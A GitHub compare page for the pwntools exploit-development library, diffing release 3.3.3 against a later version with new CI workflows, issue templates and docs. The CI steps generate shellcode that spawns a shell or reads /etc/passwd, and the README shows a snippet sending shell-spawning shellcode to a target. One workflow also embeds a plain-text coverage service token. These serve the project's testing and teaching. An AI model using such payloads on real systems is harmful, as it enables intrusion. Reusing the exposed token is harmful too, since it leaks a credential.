Compare commits

..
1 Commits
Author SHA1 Message Date
Mathias Svensson fef4483e22 Release 3.3.3 2017-01-10 23:35:11 +01:00
4175 changed files with 36653 additions and 125834 deletions

No files matched your search

+8
View File
@@ -0,0 +1,8 @@
[run]
branch = True
omit =
*/constants/*
source =
pwn
pwnlib
~/.pwntools-cache/
+1 -6
View File
@@ -4,11 +4,6 @@ Thanks for contributing to Pwntools!
When reporting an issue, be sure that you are running the latest released version of pwntools (`pip install --upgrade pwntools`).
Please verify that your issue occurs on 64-bit Ubuntu 22.04. You can use the Dockerfile on `docker.io` for quick testing.
```
$ docker pull pwntools/pwntools:stable
$ docker run -it pwntools/pwntools:stable
```
Please verify that your issue occurs on 64-bit Ubuntu 14.04. You can use the Dockerfile in `extra/docker/Dockerfile` to save time.
If possible, provide a proof-of-concept which demonstrates the problem. Include any binaries or scripts necessary to reproduce the issue, and please include the full debug output via setting the environment variable `PWNLIB_DEBUG=1`.
-54
View File
@@ -1,54 +0,0 @@
---
name: Bug report
about: Create a report to help us improve
title: ''
labels: backport-required, bug
assignees: ''
---
Thanks for contributing to Pwntools!
## Update Pwntools First
When reporting an issue, be sure that you are running the latest released version of pwntools (`pip install --upgrade pwntools`).
## Debug Output
Having the extra debug output really helps us, and might help you diagnose the problem yourself.
When submitting an issue that has output from Pwntools, make sure to run your script as shown below, to enable the extra debugging data.
```sh
$ python exploit.py DEBUG LOG_FILE=log.txt
```
You should see `[DEBUG]` statements that show what's happening behind the scenes:
```
[+] Starting local process '/bin/sh' argv=['sh'] : pid 16823
[DEBUG] Sent 0x7 bytes:
'whoami\n'
[DEBUG] Sent 0x5 bytes:
'exit\n'
[+] Receiving all data: Done (11B)
[DEBUG] Received 0xb bytes:
'crashheap\n'
[*] Process '/bin/sh' stopped with exit code 0 (pid 16823)
```
## Verify on Ubuntu
If possible, please verify that your issue occurs on 64-bit Ubuntu 24.04. We provide a Dockerfile based on Ubuntu 24.04 via `docker.io` to make this super simple, no VM required!
```sh
# Download the Docker image
$ docker pull pwntools/pwntools:stable
# Boot the image
$ docker run -it pwntools/pwntools:stable
pwntools@7dc3ef409476:~$ python
>>> from pwn import *
>>> # Test your code here
```
-18
View File
@@ -1,18 +0,0 @@
---
name: Feature request
about: Suggest an idea for this project
title: ''
labels: feature
assignees: ''
---
Thanks for contributing to Pwntools! Ideas from the community help make Pwntools an amazing tool for everybody.
If you've got an idea for a new feature, please provide information about:
* What the feature does
* Why the feature should exist
* What tests should be included
If you think you can write the feature yourself, please submit a Pull Request and we can review your changes!
-18
View File
@@ -1,18 +0,0 @@
---
name: Question
about: Ask us a question about Pwntools
title: ''
labels: question
assignees: ''
---
Thanks for using Pwntools! If you have a question, here are some tips that will make it easier for us to help you.
## Check the Documentation
Pwntools has REALLY extensive documentation. Please check there first! https://docs.pwntools.com
## Debug Output
If you're having an issue with an exploit, run your script with full debugging output, i.e. `python exploit.py DEBUG`. This may help you to see what's happening under the hood, and the debug output will help to diagnose any issues you're encountering.
+1 -6
View File
@@ -24,9 +24,4 @@ You can always [change the branch][change] after you create the PR if it's again
[contributing]: https://github.com/Gallopsled/pwntools/blob/dev/CONTRIBUTING.md
[testing]: https://github.com/Gallopsled/pwntools/blob/dev/TESTING.md
[change]: https://github.blog/news-insights/product-news/change-the-base-branch-of-a-pull-request/
## Changelog
After creating your Pull Request, please add and push a commit that updates the changelog for the appropriate branch.
You can look at the existing changelog for examples of how to do this.
[change]: https://github.com/blog/2224-change-the-base-branch-of-a-pull-request
-11
View File
@@ -1,11 +0,0 @@
version: 2
updates:
- package-ecosystem: "github-actions"
directory: "/"
schedule:
# Check for updates to GitHub Actions every month
interval: "monthly"
groups:
github-actions:
dependency-type: "production"
-33
View File
@@ -1,33 +0,0 @@
name: Changelog
on:
pull_request:
paths:
- pwnlib/**
- pwn/**
env:
GITHUB_BASE: origin/${{ github.event.pull_request.base.ref }}
jobs:
check:
strategy:
matrix:
os: [ubuntu-latest]
runs-on: ${{ matrix.os }}
timeout-minutes: 5
steps:
- uses: actions/checkout@v7
with:
fetch-depth: 0
- name: Check changelog for updates
run: |
if git log --stat ${GITHUB_BASE}..HEAD | grep CHANGELOG.md; then
echo 'Changelog updated :D'
else
if git log --stat ${GITHUB_BASE}..HEAD pwnlib pwn | grep '++\|--'; then
echo 'Major changes detected, changelog required!'
false
else
echo 'Minor changes detected, no changelog required!'
fi
fi
-413
View File
@@ -1,413 +0,0 @@
name: Continuous Integration
on: [push, pull_request]
jobs:
test:
strategy:
matrix:
python_version: ['3.10', '3.12', '3.13', '3.14', '3.15']
os: [ubuntu-latest]
runs-on: ${{ matrix.os }}
timeout-minutes: 30
services:
libcdb-cache:
image: nginx
volumes:
- /home/runner/libcdb-cache:/var/cache/nginx
ports:
- 3000:3000 # https://debuginfod.elfutils.org proxy cache
- 3001:3001 # https://libc.rip/ proxy cache
- 3002:3002 # http://archive.ubuntu.com/ proxy cache
- 3003:3003 # https://gitlab.com/ proxy cache
- 3004:3004 # https://debuginfod.ubuntu.com/ proxy cache
env:
DEBUGINFOD_URLS: "http://localhost:3000/ http://localhost:3004/"
PWN_LIBCRIP_URL: http://localhost:3001/
PWN_UBUNTU_ARCHIVE_URL: http://localhost:3002/
PWN_GITLAB_LIBCDB_URL: http://localhost:3003/
steps:
- uses: actions/checkout@v7
with:
fetch-depth: 20
- name: Git History
run: |
git fetch origin
git log --oneline --graph -10
- name: Fix libcdb-cache permissions
id: fix-perms
run: |
sudo chown -R runner:runner /home/runner/libcdb-cache
echo "date=$(/bin/date -u "+%Y%m%d%H%M%S")" >> $GITHUB_OUTPUT
- name: Cache for libcdb requests
uses: actions/cache@v6
with:
path: ~/libcdb-cache
key: libcdb-python${{ matrix.python_version }}-${{ steps.fix-perms.outputs.date }}
restore-keys: |
libcdb-python${{ matrix.python_version }}-
libcdb-
- name: Install libcdb-cache service config
run: |
sudo chown -R 101:101 /home/runner/libcdb-cache
container_id=$(docker ps --all --filter volume=/home/runner/libcdb-cache --no-trunc --format "{{.ID}}")
docker cp ./travis/libcdb_nginx_cache.conf $container_id:/etc/nginx/nginx.conf
docker restart $container_id
- name: Install RPyC for gdb
run: |
# The version packaged in python3-rpyc is too old on Ubuntu 24.04
# We use ^6.0 from pip.
sudo apt-get update && sudo apt-get install -y python3-pip gdb gdbserver
/usr/bin/python -m pip install --break-system-packages rpyc || /usr/bin/python -m pip install rpyc
gdb --batch --quiet --nx --nh --ex 'py import rpyc; print(rpyc.version.version)'
- name: Set up Python ${{ matrix.python_version }}
uses: actions/setup-python@v7
with:
python-version: ${{ matrix.python_version }}
cache: 'pip'
cache-dependency-path: |
**/pyproject.toml
**/requirements*.txt
- name: Verify tag against version
if: github.event_name == 'push' && startsWith(github.event.ref, 'refs/tags')
env:
GITHUB_REF: ${{ github.event.ref }}
run: |
set -x
GITHUB_TAG=${GITHUB_REF#refs/tags/}
echo "$GITHUB_TAG" | grep -E '^[0-9.]*(beta[0-9])?$'
vsetup=$(grep -o "version\\s*=\\s*[\"'].*[\"'],$" setup.py | grep -o "[0-9][^\"']*")
vpwnlib=$(grep -o "__version__\\s*=\\s*[\"'].*[\"']$" pwnlib/version.py | grep -o "[0-9][^\"']*")
[ "$vsetup" = "$vpwnlib" ]
[ "$GITHUB_TAG" = "$vsetup" ]
- name: Install Linux dependencies
run: |
sudo apt-get update
sudo apt-get install -y --no-install-recommends -o Acquire::Retries=3 \
ash bash-static dash ksh mksh zsh \
gdb gdbserver socat \
binutils-multiarch qemu-user-static \
binutils-aarch64-linux-gnu \
binutils-arm-linux-gnueabihf \
binutils-mips-linux-gnu \
binutils-mipsel-linux-gnu \
binutils-msp430 \
binutils-powerpc-linux-gnu \
binutils-s390x-linux-gnu \
binutils-sparc64-linux-gnu \
binutils-riscv64-linux-gnu \
binutils-loongarch64-linux-gnu \
gcc-multilib \
libc6-dbg \
elfutils \
patchelf
# Print diagnostics to help when Corefile doctests fail.
- name: Testing Corefiles
run: |
ulimit -a
ulimit -c unlimited
cat /proc/sys/kernel/core_pattern
cat /proc/sys/kernel/core_uses_pid
( cd $(mktemp -d); sh -c 'kill -11 $$' || true; ls -la ./*core* /var/crash/*.crash /var/lib/apport/coredump/core* || coredumpctl list sh) || true
- name: Set up SSH
run: |
travis/ssh_setup.sh
- name: Install dependencies
run: |
pip install --upgrade pip
pip install --upgrade wheel build
pip install --upgrade flake8 appdirs
pip install --upgrade --editable .
# Pin to known working version until 2.1.5 is out. https://github.com/unicorn-engine/unicorn/issues/2134
pip install 'unicorn==2.1.2'
- name: Sanity checks
run: |
PWNLIB_NOTERM=1 python -bb -c 'from pwn import *; print(pwnlib.term.term_mode)'
python -c "import hashlib; assert hashlib.algorithms_guaranteed == {'sha256', 'blake2s', 'sha3_384', 'shake_256', 'sha1', 'md5', 'shake_128', 'sha224', 'sha512', 'blake2b', 'sha3_512', 'sha3_224', 'sha3_256', 'sha384'}"
- name: Install documentation dependencies
run: pip install -r docs/requirements.txt
- name: Disable yama ptrace_scope
run: |
echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope # required by some gdb doctests
- name: Coverage doctests
run: |
# Python version installed using setup-python interferes with gdb's python
# by setting LD_LIBRARY_PATH and gdb's python becoming unable to load built-in modules
# like _socket. This is a workaround.
unset LD_LIBRARY_PATH
PWNLIB_NOTERM=1 python -bb -m coverage run -m sphinx -b doctest docs/source docs/build/doctest
- name: Coverage running examples
run: |
export TERM=linux
set -x
python -bb travis/coverage_chdir.py examples/fmtstr examples/fmtstr/exploit.py
python -bb travis/coverage_chdir.py examples/fmtstr examples/fmtstr/exploit2.py || : # can fail randomly?
python -bb -m coverage run examples/asm.py
python -bb -m coverage run examples/asm.py
python -bb -m coverage run examples/text.py
# for f in examples/sigreturn_corefile_*.py; do coverage run "$f"; done # XXX something is wrong
- name: Coverage running commandline tools
run: |
export TERM=linux
pwn() { ( set +x; cmd=$1; shift; PYTHONUNBUFFERED=1 exec python -bb -m coverage run -m pwnlib.commandline."$cmd" "$@" ) }
set -x
pwn cyclic 32
pwn cyclic -l 0x62616161
pwn cyclic -a ab
echo
pwn shellcraft --list |tail
pwn shellcraft -l --syscalls |tail
pwn shellcraft -l execve
pwn shellcraft -l execve + exit
pwn shellcraft --show i386.linux.loader_append
pwn shellcraft --show i386.linux.loader_append + i386.linux.sh
pwn shellcraft -f asm --color amd64.linux.sh
pwn shellcraft -f asm --color amd64.linux.setreuid + amd64.linux.cat /etc/passwd
pwn shellcraft -f asm --color amd64.linux.setreuid = amd64.linux.cat /key+secret --delim =
pwn shellcraft -f elf amd64.linux.syscalls.exit 0 </dev/null |pwn hex
pwn shellcraft -f elf amd64.linux.cat /etc/passwd + amd64.linux.syscalls.exit 0 </dev/null |pwn hex
pwn shellcraft -f i --color amd64.linux.cat /etc/passwd </dev/null
pwn shellcraft -f i --color amd64.linux.cat /etc/passwd + amd64.linux.sh </dev/null
pwn shellcraft -f c amd64.linux.syscalls.exit 0 </dev/null
pwn shellcraft -f c amd64.linux.cat /etc/passwd + amd64.linux.syscalls.exit 0 </dev/null
pwn shellcraft -f str aarch64.linux.sh </dev/null
pwn shellcraft -abr -f elf -o /dev/null amd64.linux.cat /etc/passwd </dev/null
pwn shellcraft -nzr thumb.linux.syscalls.execve /bin/cat '["/bin/cat", "/etc/os-release"]' </dev/null
pwn shellcraft -fp aarch64.trap
pwn disasm --color ff3424c3ebfe
pwn asm -f hex nop
pwn hex ABCD
pwn hex ABCD --separator ' '
pwn hex ABCD --prefix '\x'
pwn hex ABCD -p '0x' -s ' '
pwn hex abcd
pwn unhex 4141 4141
cat /dev/urandom | pwn phd --color -c 256 -s 2
pwn phd -l 0x3d --color=always /etc/os-release
pwn checksec /bin/bash
(ulimit -v 500000 && pwn checksec /bin/bash)
pwn errno 2
pwn errno -1
pwn errno EADDRINUSE
pwn constgrep -c freebsd -m ^PROT_ '3 + 4'
pwn constgrep ^MAP_ 0
pwn constgrep -e O_RDWR
pwn constgrep C
pwn libcdb file /lib/x86_64-linux-gnu/libc.so.6
pwn libcdb lookup puts 5f0 __libc_start_main_ret d0a
pwn libcdb hash b229d1da1e161f95e839cf90cded5f719e5de308
- name: Build source and wheel distributions
run: |
python -m build
- uses: actions/upload-artifact@v7
if: matrix.python_version == '3.10'
with:
name: packages
path: dist/
include-hidden-files: true
- uses: actions/upload-artifact@v7
with:
name: coverage-${{ matrix.python_version }}
path: .coverage*
include-hidden-files: true
- name: Fix libcdb-cache permissions
run: |
container_id=$(docker ps --filter volume=/home/runner/libcdb-cache --no-trunc --format "{{.ID}}")
docker stop $container_id
sudo chown -R runner:runner /home/runner/libcdb-cache
android-test:
runs-on: ubuntu-latest
timeout-minutes: 30
continue-on-error: true
steps:
- uses: actions/checkout@v7
- name: Set up Python 3.12
uses: actions/setup-python@v7
with:
python-version: '3.12'
cache: 'pip'
cache-dependency-path: |
**/pyproject.toml
**/requirements*.txt
- name: Install Linux dependencies
run: |
sudo apt-get update
sudo apt-get install -y --no-install-recommends -o Acquire::Retries=3 \
gdb gdbserver socat \
qemu-user-static \
binutils-aarch64-linux-gnu \
binutils-arm-linux-gnueabihf \
libc6-dbg
- name: Cache for avd
uses: actions/cache@v6
id: cache-avd
with:
path: |
~/.android
/usr/local/lib/android/sdk/emulator
/usr/local/lib/android/sdk/platform-tools
/usr/local/lib/android/sdk/system-images
key: ${{ matrix.os }}-cache-avd-${{ hashFiles('travis/setup_avd*.sh') }}
restore-keys: |
${{ matrix.os }}-cache-avd-
- name: Install Android AVD
run: |
sudo usermod -aG kvm $USER
source travis/setup_avd_fast.sh
sed -i 's/skip_android = True/skip_android = False/' docs/source/conf.py
set | grep ^PATH >.android.env
- name: Install dependencies
run: |
pip install --upgrade pip
pip install --upgrade wheel build
pip install --upgrade flake8 appdirs
pip install --upgrade --editable .
- name: Sanity checks
run: PWNLIB_NOTERM=1 python -c 'from pwn import *; print(pwnlib.term.term_mode)'
- name: Install documentation dependencies
run: pip install -r docs/requirements.txt
- name: Coverage Doctests (Android Only)
run: |
source .android.env
PWNLIB_NOTERM=1 coverage run -m sphinx -b doctest docs/source docs/build/doctest docs/source/adb.rst
- uses: actions/upload-artifact@v7
with:
name: coverage-android
path: .coverage*
include-hidden-files: true
windows-test:
runs-on: windows-latest
timeout-minutes: 30
steps:
- uses: actions/checkout@v7
- name: Set up Python 3.12
uses: actions/setup-python@v7
with:
python-version: '3.12'
- name: Install dependencies
run: |
pip install --upgrade pip
pip install --upgrade --editable .
- name: Install documentation dependencies
run: pip install -r docs/requirements.txt
- name: Sanity checks
run: |
python -bb -c 'from pwn import *'
python -bb examples/text.py
- name: Coverage doctests
run: |
python -bb -m coverage run -m sphinx -b doctest docs/source docs/build/doctest
- uses: actions/upload-artifact@v7
with:
name: coverage-windows
path: .coverage*
include-hidden-files: true
upload-coverage:
runs-on: ubuntu-latest
needs: [test, android-test, windows-test]
steps:
- uses: actions/checkout@v7
with:
fetch-depth: 20
- uses: actions/download-artifact@v8
with:
pattern: coverage-*
merge-multiple: true
- name: Install coveralls
run: |
pip install --break-system-packages tomli coveralls || pip install tomli coveralls
- name: Upload coverage to coveralls.io
run: |
coverage combine
COVERALLS_REPO_TOKEN=PP20MEgztXIQJJTguQwe2jeCh6Bm4lkbv coveralls
staging-merge:
runs-on: ubuntu-latest
if: github.repository_owner == 'Gallopsled' && github.event_name == 'push' && startsWith(github.event.ref, 'refs/heads/') && endsWith(github.event.ref, '-staging')
needs: test
steps:
- uses: actions/checkout@v7
with:
fetch-depth: 20
- name: Push changes to protected branch
env:
GITHUB_REF: ${{ github.event.ref }}
run: |
BRANCH=${GITHUB_REF#refs/heads/}
TARGET=${BRANCH%-staging}
git branch -f "$TARGET"
git push origin "$TARGET"
git push origin --delete "$BRANCH"
pypi:
runs-on: ubuntu-latest
if: github.event_name == 'push' && startsWith(github.event.ref, 'refs/tags')
permissions:
id-token: write
needs: test
steps:
- name: Download artifacts
uses: actions/download-artifact@v8
with:
name: packages
path: dist
- name: Publish package
uses: pypa/gh-action-pypi-publish@release/v1
- if: failure()
run: ls -R
-64
View File
@@ -1,64 +0,0 @@
name: Publish Docker images
on:
push:
branches:
- dev
- beta
- stable
workflow_dispatch:
jobs:
publish:
runs-on: ubuntu-latest
if: github.repository_owner == 'Gallopsled'
steps:
# Required for subdirectories in Git context
- name: Set up Docker Buildx
uses: docker/setup-buildx-action@v4
- name: Login to Docker Hub
uses: docker/login-action@v4
with:
username: ${{ secrets.DOCKERHUB_USERNAME }}
password: ${{ secrets.DOCKERHUB_PASSWORD }}
- name: Build and push base image
uses: docker/build-push-action@v7
if: github.event_name == 'workflow_dispatch'
with:
context: "{{defaultContext}}:extra/docker/base"
push: true
tags: pwntools/pwntools:base
- name: Build and push stable image
uses: docker/build-push-action@v7
if: github.event_name == 'workflow_dispatch' || (github.event_name == 'push' && github.ref == 'refs/heads/stable')
with:
context: "{{defaultContext}}:extra/docker/stable"
push: true
tags: pwntools/pwntools:stable
- name: Build and push beta image
uses: docker/build-push-action@v7
if: github.event_name == 'workflow_dispatch' || (github.event_name == 'push' && github.ref == 'refs/heads/beta')
with:
context: "{{defaultContext}}:extra/docker/beta"
push: true
tags: pwntools/pwntools:beta
- name: Build and push dev image
uses: docker/build-push-action@v7
if: github.event_name == 'workflow_dispatch' || (github.event_name == 'push' && github.ref == 'refs/heads/dev')
with:
context: "{{defaultContext}}:extra/docker/dev"
push: true
tags: |
pwntools/pwntools:dev
pwntools/pwntools:latest
- name: Build and push ci image
uses: docker/build-push-action@v7
if: github.event_name == 'workflow_dispatch' || (github.event_name == 'push' && github.ref == 'refs/heads/dev')
with:
context: "{{defaultContext}}:travis/docker"
push: true
tags: pwntools/pwntools:ci
-43
View File
@@ -1,43 +0,0 @@
name: Lint
on: [push, pull_request]
jobs:
lint:
strategy:
matrix:
python-version: ['3.10']
os: [ubuntu-latest]
runs-on: ${{ matrix.os }}
timeout-minutes: 30
steps:
- uses: actions/checkout@v7
- name: Set up Python ${{ matrix.python-version }}
uses: actions/setup-python@v7
with:
python-version: ${{ matrix.python-version }}
cache: 'pip'
cache-dependency-path: |
**/pyproject.toml
**/requirements*.txt
- name: Critical lint
run: |
pip install flake8
flake8 . --count --select=E9,F63,F7,E71 --show-source --statistics --exclude=android-?dk # TODO: Add F82
- name: Style lint
run: |
flake8 pwnlib setup.py docs travis --count --exit-zero --max-complexity=10 --max-line-length=127 --statistics
flake8 examples --count --exit-zero --max-complexity=10 --max-line-length=127 --statistics --ignore='F403,F405'
flake8 pwn --count --exit-zero --max-complexity=10 --max-line-length=127 --statistics --ignore='F401,F403,F405'
- name: Minimum Python version check
run: |
pip install vermin
vermin -vvv --no-tips -t=3.10- --violations ./pwnlib ./pwn
- name: MyPy type hint baseline
run: |
pip install -U . --group dev
mypy | mypy-baseline filter
-30
View File
@@ -1,30 +0,0 @@
name: Check for merge markers
on:
pull_request:
types: [synchronize]
env:
GITHUB_BASE: origin/${{ github.event.pull_request.base.ref }}
jobs:
mergecheck:
strategy:
matrix:
os: [ubuntu-latest]
runs-on: ${{ matrix.os }}
timeout-minutes: 5
steps:
- uses: actions/checkout@v7
with:
fetch-depth: 0
- name: Check for merge conflict markers commited
run: |
if git show ${GITHUB_BASE}..HEAD | grep -EB15 --color=always '^\+\+(>>>>>|=====|<<<<<)'; then
echo 'WARNING: Merge marker commits found in history.'
if git diff ${GITHUB_BASE}..HEAD | grep -EB15 --color=always '^\+(>>>>>|=====|<<<<<)'; then
echo 'ERROR: Merge markers still present! Do something!'
exit 1
fi
else
echo 'Congrats! All the merges you did were clean or resolved correctly :)'
fi
-36
View File
@@ -1,36 +0,0 @@
name: PyLint
on: [pull_request]
jobs:
build:
strategy:
matrix:
python-version: ['3.10']
os: [ubuntu-latest]
runs-on: ${{ matrix.os }}
timeout-minutes: 30
steps:
- uses: actions/checkout@v7
- name: Set up Python ${{ matrix.python-version }}
uses: actions/setup-python@v7
with:
python-version: ${{ matrix.python-version }}
cache: 'pip'
cache-dependency-path: |
**/pyproject.toml
**/requirements*.txt
- name: PyLint
run: |
set -x
pip install 'pylint<4'
pip install --upgrade -e .
run_pylint() { pylint --exit-zero --errors-only pwnlib -f parseable | cut -d ' ' -f2- | sed 's/line [0-9]\+/line XXXX/g'; }
run_pylint > current.txt
git fetch origin
git checkout origin/"$GITHUB_BASE_REF"
run_pylint > base.txt
if diff base.txt current.txt | grep '>'; then
false
fi
+1 -8
View File
@@ -11,14 +11,7 @@ docs/build
build
MANIFEST
dist
venv
.vscode
.idea
*.egg-info
*.core
.coverage
.coverage.*
.idea
__pycache__
!.github
.DS_Store
.tox
-15
View File
@@ -1,15 +0,0 @@
# https://docs.readthedocs.io/en/stable/config-file/v2.html
version: 2
build:
os: ubuntu-22.04
tools:
python: "3.12"
sphinx:
configuration: docs/source/conf.py
python:
install:
- requirements: docs/requirements.txt
+39
View File
@@ -0,0 +1,39 @@
sudo: false
language: python
addons:
apt:
packages:
- gcc-multilib
- gcc-4.6-arm-linux-gnueabihf
- lib32stdc++6
- ash
- bash
- dash
- ksh
- mksh
- zsh
- pandoc
cache:
- pip
- directories:
- usr
- /home/travis/virtualenv/python2.7.9/lib/python2.7/site-packages/
- /home/travis/virtualenv/python2.7.9/bin/
python:
- "2.7"
before_install:
- source travis/install.sh
- source travis/ssh_setup.sh
install:
- pip install --upgrade --editable .
- pip install --requirement docs/requirements.txt
before_script:
- PWNLIB_NOTERM=1 python -c 'from pwn import *; print pwnlib.term.term_mode'
- PWNLIB_NOTERM=1 python -c 'from pwn import *; print pwnlib.term.term_mode'
- PWNLIB_NOTERM=1 python -c 'from pwn import *; print pwnlib.term.term_mode'
- PWNLIB_NOTERM=1 python -c 'from pwn import *; print pwnlib.term.term_mode'
script:
- PWNLIB_NOTERM=1 coverage run -m sphinx -b doctest docs/source docs/build/doctest
after_success:
- coveralls
- source travis/update_demo.sh
+8 -1159
View File
File diff suppressed because it is too large. Load diff
+9 -34
View File
@@ -2,57 +2,32 @@
Github has a great guide for contributing to open source projects:
- [Contributing to a project](https://docs.github.com/en/get-started/exploring-projects-on-github/contributing-to-a-project)
- [Fork the repository](https://docs.github.com/en/get-started/exploring-projects-on-github/contributing-to-a-project#creating-your-own-copy-of-a-project)
- [Clone your fork](https://docs.github.com/en/get-started/exploring-projects-on-github/contributing-to-a-project#cloning-a-fork-to-your-computer)
- [Creating a branch to work on](https://docs.github.com/en/get-started/exploring-projects-on-github/contributing-to-a-project#creating-a-branch-to-work-on)
- [Making and pushing changes](https://docs.github.com/en/get-started/exploring-projects-on-github/contributing-to-a-project#making-and-pushing-changes)
- [Making a Pull Request](https://docs.github.com/en/get-started/exploring-projects-on-github/contributing-to-a-project#making-a-pull-request)
- [Contributing to a project](https://guides.github.com/activities/forking/)
- [Fork the repository](https://guides.github.com/activities/forking/#fork)
- [Clone your fork](https://guides.github.com/activities/forking/#clone)
- [Making and pushing changes](https://guides.github.com/activities/forking/#making-changes)
- [Making a Pull Request](https://guides.github.com/activities/forking/#making-a-pull-request)
- [Huzzah!](https://guides.github.com/activities/forking/#huzzah)
## pwntools Specifics
In general, we like to keep things documented. You should add documentation to any new functionality, and update it for any changed functionality. Our docstrings use the [Google Style Python Docstrings](https://sphinxcontrib-napoleon.readthedocs.org/en/latest/example_google.html#example-google).
After you have documentation, you should add a [doctest](https://docs.python.org/3/library/doctest.html).
After you have documentation, you should add a [doctest](https://docs.python.org/2/library/doctest.html).
Finally, it is probably a good idea to run the test suite locally before doing
the pull-request to make sure everything works, however this is not a
requirement. See the [TESTING](TESTING.md) documentation on how to do that.
requirement.
Once you are ready to do a pull-request, you should figure out if your changes
constitutes a new feature or a bugfix in stable or beta. If it is a bugfix in
stable or beta, you should do the pull-request against the branch in question,
and otherwise your pull-request should be against the dev branch.
Once you do the pull-request Github Actions will run the test-suite on it. Once it
Once you do the pull-request Travis CI will run the test-suite on it. Once it
passes one of the core developers will look at your pull request, possibly
comment on it and then hopefully merge it into the branch in question.
## Python Type Hints
Since Pwntools 5 dropped support for Python 2, type hints are added gradually to the existing code base.
[Type hints in Python](https://typing.python.org/en/latest/spec/index.html) allow static analysis tools and IDEs to help catch errors and provide a better developer
experience without running the code.
New code should include type hints where applicable and shouldn't add new type warnings.
You can use [this cheat sheet](https://mypy.readthedocs.io/en/stable/cheat_sheet_py3.html) as a reference for the type hint syntax.
Pwntools uses [mypy](https://mypy.readthedocs.io/en/stable/index.html) as a static type checker. Instead of trying to
introduce type hints everywhere at once, Pwntools uses [mypy-baseline](https://mypy-baseline.orsinium.dev/usage) to gradually reduce the number of problems over time.
To run the type checker locally, you can install Pwntools with the `dev` extra and check for new errors (`--group dev` requires pip 25.1+):
```shell
$ pip install -U . --group dev
$ mypy | mypy-baseline filter
```
If you fixed some problems, you can update the list of known errors in `mypy-baseline.txt` using
```shell
$ mypy | mypy-baseline sync --sort-baseline
```
## Automated Testing
Pull requests against Pwntools require at a minimum that no tests have been broken, and ideally each pull request will include new tests to ensure that all of the functionality works as intended.
-76
View File
@@ -1,76 +0,0 @@
# Using Pwntools with Docker
Sometimes it's annoying to set up Pwntools on your workstation, and you want something that Just Works (TM).
[Docker](https://www.docker.com/) is here to the rescue! Using Docker means that you get a nice, standardized Linux environment and don't need to worry about pip or installing dependencies.
## Quick Start
First, install Docker for your OS, which you can find on their [Getting Started](https://www.docker.com/get-started) page.
Next, download and run the Pwntools stable docker image.
```sh
$ docker run -it pwntools/pwntools:stable
```
## Recommended Settings
In order to get the most from your docker image, we need to enable debugging of processes (`--privileged`) and expose the network ports from the guest to the host (`--net=host`).
```sh
$ docker run -it \
--privileged \
--net=host \
--hostname localhost \
--ulimit core=-1:-1 \
pwntools/pwntools:stable
```
## Sharing a Folder
It's really nice to be able to use your preferred native editor, and have the changes show up live inside your Docker image. This is easy to add, thanks to Docker's bind mounts (`--mount type=bind`).
With the command below, your `~/exploits` directory will magically show up inside the Docker image at `/home/pwntools/exploits` so that you can easily run them (from Docker) and edit them (from outside Docker).
```sh
$ mkdir $HOME/exploits
$ vim $HOME/exploits/my_exploit.py
$ docker run -it \
--privileged \
--net=host \
--hostname localhost \
--ulimit core=-1:-1 \
--mount type=bind,source="$HOME/exploits",target=/home/pwntools/exploits \
pwntools/pwntools:stable
$ python3 exploits/my_exploit.py
```
### Windows User Bind Mounts
If you're a Windows user `$HOME` doesn't exist in the same way as on Linux, instead it is `%UserProfile%`. The command from above would look like this, assuming your editor is Visual Studio Code and you have code.exe in your `%PATH%`.
```sh
C:\Users\user> mkdir Desktop\exploits
C:\Users\user> code Desktop\exploits\my_exploit.py
C:\Users\user> docker run -it \
--privileged \
--net=host \
--hostname localhost \
--ulimit core=-1:-1 \
--mount type=bind,source="%UserProfile%\Desktop\exploits",target=/home/pwntools/exploits \
pwntools/pwntools:stable
$ python3 exploits/my_exploit.py
```
+2 -4
View File
@@ -1,9 +1,7 @@
graft build
graft examples
graft extra
graft travis
include *.md *.txt *.sh *.yml MANIFEST.in
recursive-include docs *.rst *.png Makefile *.py *.txt
recursive-include pwnlib *.py *.asm *.rst *.md *.txt *.sh __doc__ *.mako
recursive-include pwnlib *.py *.asm *.rst *.md *.txt *.sh
recursive-include pwn *.py *.asm *.rst *.md *.txt *.sh
global-exclude *.pyc
recursive-exclude *.pyc
+19 -18
View File
@@ -1,16 +1,14 @@
# pwntools - CTF toolkit
![pwntools logo](https://github.com/Gallopsled/pwntools/blob/stable/docs/source/logo.png?raw=true)
[![PyPI](https://img.shields.io/pypi/v/pwntools?style=flat)](https://pypi.python.org/pypi/pwntools/)
[![Docs](https://readthedocs.org/projects/pwntools/badge/?version=stable)](https://docs.pwntools.com/)
[![GitHub Workflow Status (dev)](https://img.shields.io/github/actions/workflow/status/Gallopsled/pwntools/ci.yml?branch=dev&logo=GitHub)](https://github.com/Gallopsled/pwntools/actions/workflows/ci.yml?query=branch%3Adev)
[![Coveralls](https://img.shields.io/coveralls/github/Gallopsled/pwntools/dev?logo=coveralls)](https://coveralls.io/github/Gallopsled/pwntools?branch=dev)
[![PyPI](https://img.shields.io/badge/pypi-v3.3.3-green.svg?style=flat)](https://pypi.python.org/pypi/pwntools/)
[![Travis](https://travis-ci.org/Gallopsled/pwntools.svg)](https://travis-ci.org/Gallopsled/pwntools)
[![Coveralls](https://img.shields.io/coveralls/Gallopsled/pwntools/dev.svg)](https://coveralls.io/github/Gallopsled/pwntools?branch=dev)
[![Twitter](https://img.shields.io/badge/twitter-pwntools-4099FF.svg?style=flat)](https://twitter.com/pwntools)
[![MIT License](https://img.shields.io/badge/license-MIT-blue.svg?style=flat)](http://choosealicense.com/licenses/mit/)
[![Packaging status](https://img.shields.io/repology/repositories/python:pwntools)](https://repology.org/project/python:pwntools/versions)
[![Discord](https://img.shields.io/discord/809590285687980052?label=Discord&style=plastic)](https://discord.gg/96VA2zvjCB)
[![Twitter](https://img.shields.io/twitter/follow/Pwntools)](https://twitter.com/pwntools)
Pwntools is a CTF framework and exploit development library. Written in Python, it is designed for rapid prototyping and development, and intended to make exploit writing as simple as possible.
pwntools is a CTF framework and exploit development library. Written in Python, it is designed for rapid prototyping and development, and intended to make exploit writing as simple as possible.
```python
from pwn import *
@@ -22,28 +20,28 @@ r.send(asm(shellcraft.sh()))
r.interactive()
```
# Try It Now!
You can now do a live demo of Pwntools, [right in your browser](https://demo.pwntools.com).
# Documentation
Our documentation is available at [docs.pwntools.com](https://docs.pwntools.com/)
A series of tutorials is also [available online](https://github.com/Gallopsled/pwntools-tutorial#readme)
To get you started, we've provided some example solutions for past CTF challenges in our [write-ups repository](https://github.com/Gallopsled/pwntools-write-ups).
# Installation
